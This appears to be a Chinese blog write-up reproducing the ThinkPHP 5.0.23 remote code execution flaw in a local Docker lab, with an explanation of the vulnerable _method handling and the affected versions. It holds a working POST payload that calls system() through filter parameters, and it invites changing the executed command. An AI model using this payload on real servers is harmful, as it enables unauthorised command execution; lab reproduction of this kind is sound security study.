ThinkPHP--5.0.23-rce远程代码执行

一、漏洞原理

实现框架的核心类Requests的method方法实现表单请求类伪装,默认为$_POST[‘_method’]变量,却没有对_method属性进行严格校验,可以通过变量覆盖Requests类的属性,在结合框架特性实现对任意函数的调用实现任意代码执行。

攻击者可向缓存文件内写入PHP代码,导致远程代码执行。

二、影响版本

ThinkPHP 5.0.x ~ 5.0.23

ThinkPHP 5.1.x ~ 5.1.31

ThinkPHP 5.2.0beta1

三、漏洞复现

1.运行此靶场

sudo docker-compose up -d

2.查看启动环境

sudo docker ps

3.访问网页寻找漏洞点

http://192.168.83.136:8080/index.php?s=captcha

在ThinkPHP框架中,http://192.168.83.136:8080/index.php?s=captcha 这个URL通常用于访问一个生成验证码图片的页面。这里的URL参数 s=captcha 指定了要执行的模块和操作,具体来说:

  • s 通常代表模块(Module)和操作(Action)的组合。在ThinkPHP中,s 参数通常用于路由到特定的控制器方法。
  • captcha 指的是验证码模块或操作。在ThinkPHP中,captcha 通常是一个内置的功能,用于生成和验证验证码。

当你访问这个URL时,服务器会执行与 captcha 相关的代码,生成一个验证码图片,并将其发送到你的浏览器。这个图片通常包含一些随机字符,用于验证用户输入的正确性,以防止自动化脚本或机器人的恶意行为。

在ThinkPHP中,你可以通过配置来定制验证码的样式、字符集、长度等属性。同时,你也可以在表单验证时使用这个验证码来确保用户输入的是正确的验证码

Hackber,POST上传

_method=__construct&filter[]=system&method=get&get[]=whoami

修改system执行的语句

sudo docker-compose down

  • 12
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值